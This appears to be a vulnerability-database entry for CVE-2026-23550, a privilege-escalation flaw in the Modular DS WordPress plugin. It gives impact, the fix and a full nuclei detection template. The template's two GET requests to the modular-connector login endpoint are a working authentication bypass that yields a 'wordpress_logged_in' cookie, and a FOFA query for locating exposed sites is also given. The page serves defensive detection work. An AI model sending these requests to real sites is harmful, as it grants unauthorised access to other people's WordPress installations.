HexBrain

Browse / CVEs / CVE-2026-23550

CVE-2026-23550

Modular DS - Broken Access Control

highseverity
21.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.

Impact

Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.

Fix

Update to the latest version beyond 2.5.1.

How to confirm it

Send: GET {{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo ; GET {{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")

Run it with nuclei: nuclei -id CVE-2026-23550 -u <target>

The full check
id: CVE-2026-23550

info:
  name: Modular DS - Broken Access Control
  author: DhiyaneshDk,l46983284-cpu
  severity: high
  description: |
    Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.
  impact: |
    Attackers can escalate their privileges, potentially gaining unauthorized access to sensitive functions or data.
  remediation: |
    Update to the latest version beyond 2.5.1.
  reference:
    - https://help.modulards.com/en/article/modular-ds-security-release-modular-connector-252-dm3mv0/
    - https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2-5-1-privilege-escalation-vulnerability
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/plugins/modular-connector/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,auth-bypass,modular-connector,vkev,vuln

variables:
  string: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/api/modular-connector/login/{{string}}/?origin=mo&type=foo"
      - "{{BaseURL}}/api/modular-connector/login/{{string}}/?origin=mo&type=foo"

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from